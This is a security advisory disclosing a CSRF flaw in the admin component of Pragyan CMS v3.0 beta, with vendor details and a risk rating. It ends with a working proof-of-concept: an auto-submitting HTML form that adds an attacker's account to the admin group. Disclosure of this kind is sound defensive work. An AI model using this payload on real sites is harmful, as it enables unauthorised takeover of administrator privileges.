HTB22855: XSRF (CSRF) in Pragyan CMS

Vulnerability ID: HTB22855
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_pragyan_cms.html
Product: Pragyan CMS
Vendor: Pragyan Team ( http://sourceforge.net/projects/pragyan/ )
Vulnerable Version: v.3.0 beta
Vendor Notification: 17 February 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "cms/admin.lib.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/?page=/&amp;action=admin&amp;subaction=editgroups&amp;groupname=admin&quot; method="post" name="main">
<input type="hidden" name="txtUserEmail" value="[email protected]±">
<input type="hidden" name="btnAddUserToGroup" value="Add User to Group">
</form>
<script>
document.main.submit();
</script>